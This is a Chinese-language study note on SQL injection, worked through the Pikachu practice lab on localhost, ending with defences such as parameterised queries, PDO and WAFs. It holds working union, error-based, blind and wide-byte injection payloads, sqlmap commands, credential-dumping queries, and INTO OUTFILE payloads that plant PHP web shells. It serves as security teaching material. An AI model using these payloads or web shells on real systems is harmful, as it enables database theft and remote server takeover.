来自于个人日常学习总结,欢迎大家一起来学习交流,如要转载请标明出处。
sql注入危害
数据库信息泄露
网页篡改: 通过操作数据库对网页进行篡改,嵌入木马连接
数据库被恶意操作:被攻击、管理员账户被更改
服务器被远程控制 : 黑客可以修改和控制系统
种植木马 : 使系统瘫痪
注入的本质/原理
用户输入的数据被当做语句执行(通过将恶意的sql查询或添加语句插入到应用的输入参数中,带入到sql服务器执行这些攻击语句)
sql注入出现的地方
内部角度:
url传参
表单post
cookie
user-agent
x-forwarded-for
业务点:
新闻商品查询处
用户登录注册
修改用户资料
找回密码
搜索框
sql注入思路
1、判断注入点
数字型:
id=1 and 1=1#
id=1 and 1=2#
字符型:
id=1’ and 1=1#
id=1’ and 1=2#
2、信息搜集
数据库版本 version()
数据库名 database()
数据库用户 user()
操作系统
(哪个字段报错,在哪个字段输入查询)
猜解列名数量(字段数) -------- order by x 错误与正确的连接点(正确的那个就是正确的字段数)
union 联合查询
至前面语句错误
如:(id=-2)或者 id=2 and 1=2
利用
information_schema.schemata
information_schema.tables
information_schema.columns
利用条件:Mysql版本大于5.0
group_concat():将查询的数据一行全部显示出来
必要知识点:mysql5.0以上版本中。mysql数据库存在一个infomation_schema(它是一个存有数据库名,表名,列名的数据库),相当于直接查询它获得信息
猜解多个数据可以用 limit x,1 x是变动的
3,获取权限
通过数据库执行shell,上传木马
piakchu章节练习
字符型sql注入
1、确定注入点
在URL中,参数为name,当输入1’时报错,当输入’'时正常显示 ,可以判断注入点为name,漏洞类型为字符型。
(扩展:在参数中输入正常的值,页面有内容,输入不正常值(胡乱输入),页面没有内容显示,没有报404错误,说明有注入点)
==2、确定字段数 ==
只有确定了字段数,才可以使用union这个关键词连接我们自己的查询语句。可以采用order by来确定字段数
输入1’ order by x # 通过更改数值,直到报错,判断字段数
3、确定数据库和数据表
1’ union select database(),2 #
可以看出数据库名称是pikachu
查所有数据库名
id=-1’ union select group_concat(schema_name),2 from information_schema.schemata#
4、确定数据表
我们可以通过mySQL数据库自带的information_schema来知道,这个information_schema就是用来存储mySQL数据库所有信息的数据库。可以看到数据库中有一些数据表
其中有tables数据库,用来存放数据表信息
mysql语句:
select table_name,1 from information_schema.tables where table_schema=‘pikachu’;
payload
id=-1’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
看到了users表
可以暴力破解
kobe’ and exists(select * from passwd)# ----passwd是字典名字,抓包放到burpsuite
5、获得数据表中的字段(获取列名)
select column_name,2 from information_schema.columns where table_name=‘users’ and table_schema=‘pikachu’;
==payload ==
id=-1’ union select group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name=‘users’–+
)
6、看到了username,password字段,就可以利用字段获取数据库里面的用户名和密码了
1’ union select username,password from users #
7、写马
执行系统命令
kobe’ union select “<?php system($_GET['cmd']);?>”, 2 into outfile “D:\phpStudy\PHPTutorial\WWW\2.php”#
执行php代码
kobe’ union select “<?php @eval($_GET['test']);?>”, 2 into outfile “D:\phpStudy\PHPTutorial\WWW\1.php”#
搜索型注入
1.搜索型注入漏洞产生的原因:
在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,
但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。
2.搜索型注入的类型:
同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型
(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。
3.原理分析
select * from user where password like ‘%$pwd%’
%是通配符,匹配任何字符
like是像的意思
这句SQL语句基于用户输入的pwd,在user表中找到相应的password
当我们在输入框输入 l%’ and 1=1#输出你想要的结果,输入l%’ and 1=2#,与上次结果不一样,说明存在注入漏洞
4,注入攻击
‘and 1=1 and ‘%’=’
内容会全部回显出来
%’ and 1=1#
’ and 1=1#
有同样的效果
5,判断字段数
’ and 1=1 order by 4#
页面显示 Unknown column ‘4’ in ‘order clause’
’ and 1=1 order by 3#
可以显示数据,说明字段数是3
’ and 1=2 union select 1,2,3#
正常回显
%’ and 1=2 union select 1,2,(database())#
爆出当前数据库的名字
xx型注入
查看源代码 (’$name’)
传入的参数name ,被单引号和括号包裹,把单引号和括号闭合就可以。
insert/update注入
MySQL 表中使用 insert into SQL语句来插入数据
1、在注册界面
用户名输入 ' 报错,说明输入的数据被带入数据库查询
三个常用函数
updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
floor():MySQL中用来取整的函数
updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值
语法:UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
extractvalue()#
核心原理是一样的,也是对 XML
extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串
语法:ExtractValue(xml_document, XPathstring)
第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
第二个参数: XPathstring,XPath 格式的字符串
payload(报错回显)
爆出数据库名和版本
w' or updatexml(0,concat(0x7e,database()),0) or'
或者 w' and updatexml(0,concat(0x7e,version()),0)#
爆出表名
w' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#
但是此时会报错,返回的数据多于 1 行(不止一个表) ,只能显示 1 行报错信息
w' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#
我们在刚刚的 payload 后面用 limit 关键字,限制取回的结果
查询数据库中的表名
w' or updatexml ( 0,concat ( 0x7e, ( select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.tables where TABLE_SCHEMA='pikachu' ) ) ,0 ) or'
delect注入
删除留言板内容,抓包查看,服务器传递一个get请求,删除一个id(根据这个id删除留言)
猜测后台sql语句
delect from message where id=x
==构造payload ==
id=1 or updatexml (1,concat(0x7e,database()),0)
burpsuite经过url转码 (选中 右键---->convert selection—>URL—>url encode key characters)
http header注入
后台开发人员为了验证客户端头信息(比如cookie验证或者通过http header获取客户端的一些信息,比如user agent,accept字段等
对客户端的http header信息进行获取并使用sql语句处理,如果没有足够的安全考虑 ,会导致基于http header的注入漏洞
user agent 或者是cookie 都可以注入
报错注入payload如下
1' or updatexml(1, concat(0x7e, database()), 0) or '
盲注(base on boolean)
基于真假的盲注主要特征
没有报错信息
不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断
1、判断是否存在注入,是数字型还是字符型
输入1,显示相应用户存在:
输入1' and 1=1 #,显示存在:
输入1' and 1=2 #,显示不存在:
判断是字符型的
sqlmap盲注
-r burpsuite请求数据包保存成xx.txt文件,在对应注入的位置画*
sqlmap -r xx.txt 进行注入
–level 注入等级,2时可以测试cookie,HTTP User-Agent/Referer头在level为3的时候就会测试
-p 指定注入的参数
-u 网站url
–current-db 爆数据库 (或者 --dbs)
–tables 爆表
–columns 爆列
–batch 自动选择(y/n)
例句:
sqlmap -r sql.txt --level 2 --dbs --batch --vv 3
sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=666&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch
--current-db Retrieve DBMS current database(检索DBMS当前数据库)
sqlmap -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --batch
盲注(based on time)
输入下面payload测试
kobe’ and sleep(5)#
宽字节注入
原理:
利用mysql一个特性,mysql使用GBK编码时,会认为两个字符是一个汉字(前一个ascii码要大于128,才能到汉字范围)
我们无论是post get 传入的参数都会加上 ''转义字符,确保这些数据不会威胁数据库
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线
1,输入a’
会报错,我们在源代码中加上输出函数,使得我们的输入在转义后可以显示出来,显示结果为 a’
'被\转义,导致不可执行。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”
2,构造payload,逃逸单引号
a%df’ or 1=1#
需要在burpsuite中使用,在网页输入还是会报错
SQL注入防范措施
代码层面
对输入进行严格的转义和过滤
使用预处理和参数化(Parameterized)
网络层面
通过WAF启用防范SQL Inject
云端防护(360网站卫士,阿里云盾)
impossible
PDO(php data object)技术:划清代码与数据的界限,有效的防止了sql注入
随机码机制
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过